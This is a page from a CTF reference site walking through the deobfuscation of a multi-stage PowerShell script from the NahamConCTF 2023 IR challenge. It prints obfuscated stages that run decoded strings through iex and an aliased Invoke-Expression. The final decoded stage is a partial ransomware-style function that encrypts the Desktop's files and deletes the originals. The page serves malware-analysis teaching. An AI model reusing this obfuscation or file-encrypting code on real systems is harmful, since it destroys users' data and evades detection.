🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  1. Reverse Engineering

PowerShell

Deobfuscate heavily-obfuscated PowerShell scripts to find their source code

PreviousReversing C# - .NET / UnityNextReverse Engineering for Pwn

Last updated 1 year ago

Obfuscating PowerShell is a real art, and there are many ways to encode scripts in weird ways. Luckily, most of them work in the same way: 1. Decoding some string and 2. Executing that string as another stage in the script.

Often this is a task of finding the part that executes the code, removing it, and instead printing the code so you can analyze it further.

I will explain this process with an example. This is taken from the NahamConCTF 2023 - IR challenge, which provided the following PowerShell script:

It starts off with a lot of special characters that are supposed to evaluate into something:

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"]; "${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}$
...

A common way to make a little sense of this is to format it, like adding newlines after ; semicolons. In this case, however, there are semicolons used all over the place, not just as statement enders. To do this more cleanly we'll use the script to parse and format these statements, which will then allow us to separate a ${;} from a ; as only the second has a space after it.

PS> Install-Module -Name PowerShell-Beautifier
PS> Edit-DTWBeautifyScript -Source .\updates.ps1 -Destination .\stage0.ps1

When we afterward replace ; with ;\n in an IDE like Visual Studio Code, we find a more slightly more readable script:

${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 
"${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}${)}${[}+${"}${&}${&}+${"}${]}${[}+${"}${&}${|}+${"}${)}${|}+${"}${(}${]}+${"}${&}${.}+${"}${+}${=}${(}+${"}${)}${&}+${"}${+}
...

First, it defines a few variables with the ${} syntax, and after, it uses those variables in a giant string. The first few variables are some primitives, and the last 3 variables seem to be more complicated but still short. We could statically try to reason with this, but a much simpler way would be to just let PowerShell evaluate it for us. Let's run the first few lines making sure nothing can trigger a payload on our investigating machine:

${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 

PS> ${"}
[CHar]
PS> ${;}
iex

Here we find a very important string: iex which means Invoke-Expression. This will take a string, and execute it as PowerShell code, which is very common for these obfuscators. We need to be careful to remove this part to make sure our code is not actually run, only the string is evaluated for us.

All the way at the end of the script we find:

...${]}${|}|${;}" | &${;};

We will remove this ${;} now that we know it means to evaluate and run the code, and instead replace it with a Write-Output command which simply prints it to the console:

...${]}${|}|${;}" | Write-Output

Running this safe script now prints the next stage of the script, obfuscated in a different way:

PS> .\stage0.ps1 > stage1.ps1

[CHar]36+[CHar]57+[CHar]72+[CHar]118+[CHar]116+[CHar]77+[CHar]70+[CHar]98+[CHar]67+[CHar]50+[CHar]82+[CHar]71+[CHar]74+[CHar]88+[CHar]54+[CHar]89+[CHar]79+[CHar]65+[CHar]83+[CHar]106+[CHar]78+[CHar]101+[CHar]66+[CHar]120+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]61+[CHar]107+[CHar]105+[CHar]73+[CHar]119+[CHar]108+[CHar]109+[CHar]101+[CHar]117+[CHar]65+[CHar]51+[CHar]98+[CHar]48+[CHar]116+[CHar]50
...
[CHar]86+[CHar]32+[CHar]59|iex

It uses a very similar scheme, building out a script and then evaluating it with iex, literally this time. In a very similar fashion to last time, we'll simply remove the trigger of the payload and only print it using Write-Output:

...
[CHar]86+[CHar]32+[CHar]59 | Write-Output

When we now execute the safe script, we find another stage:

PS> .\stage1.ps1 > stage2.ps1

$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJCKggGdhBFbhJXZ0lGTtASblRXStUmdv1WZSpQD5R2biRCI5R2bC1CIi42bpRXYyRHbpZGel9SbvNmLyV2ajFGasxWZoNncld3bwVGa05yd3d3LvozcwRHdoJCIpJXVtACdz9GUgQ2boRXZN1CI0NXZ1FXZyJWZX1SZr9mdulkCN0XY0FGRlxWaGBXa6RSPlxWamtHQgQ3YlpmYPRXdw5WStAibvNnSt8GV0JXZ252bDBSPgkHZvJGJK0QKzVGd5JUZslmRwlmekgyZulmc0NFN2U2chJ0bUpjOdRnclZnbvN0Wg0DIhRXYEVGbpZEcppHJK0QZ0lnQgcmbpR2bj5WRtAydhJVLgkiIwlmeuA3b0t2c
...
N3bwBCL9VWdyR3ek0Tey9GdhRmbh1EKyVGdl1WYyFGUblQCK0AKtFmchBVCK0wezVGbpZEdwlncj5WZg42bpR3YuVnZ" ; $OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ; [array]::Reverse($OaET) ; -join $OaET 2>&1> $null ; $biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ; $ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ; neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ; pWN $biPIv9ahScgYwGXl0FyV ;

This is another nightmare one-liner, but we'll simply use the PowerShell-Beautifier trick together with replacing ; with ;\n to make it more readable:

PS> Edit-DTWBeautifyScript -Source .\stage2.ps1 -Destination .\stage2.ps1

$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
$ehyGknDcqxFwCYJz5vfot4T8 = "iN" + "vo" + "Ke" + "-e" + "xP" + "RE" + "ss" + "Io" + "n";
New-Alias -Name PwN -Value $ehyGknDcqxFwCYJz5vfot4T8 -Force;
pWN $biPIv9ahScgYwGXl0FyV;

Pretty clearly we can read the string concatenation in $ehyGknDcqxFwCYJz5vfot4T8 is another Invoke-Expression. This is assigned to a New-Alias as PwN. Later we see this alias used on another string, which would be executed as code. So instead, we again replace this with a Write-Console to find what it does:

$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
Write-Output $biPIv9ahScgYwGXl0FyV;

Running this final stage we find the clean source code:

PS>  .\stage2.ps1 > stage3.ps1

function encryptFiles{
	Param(
		[Parameter(Mandatory=${true}, position=0)]
		[string] $baseDirectory
	)
	foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
		if ($File.extension -ne ".enc"){
			$DestinationFile = $File.FullName + ".enc"
			$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
			...
			$FileStreamWriter.Close()
			Remove-Item -LiteralPath $File.FullName
		}
	}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
...

In this challenge, the flag was found here. But in other cases, you might want to understand the encryptFiles function now to find how files are encrypted, and how they can be decrypted.

For another example that digs more into understanding the payload, see this of another piece of obfuscated PowerShell malware.

⚙️
walkthrough
PowerShell-Beautifier
90KB
updates.ps1
Obfuscated PowerShell script from the NahamConCTF 2023 - IR challenge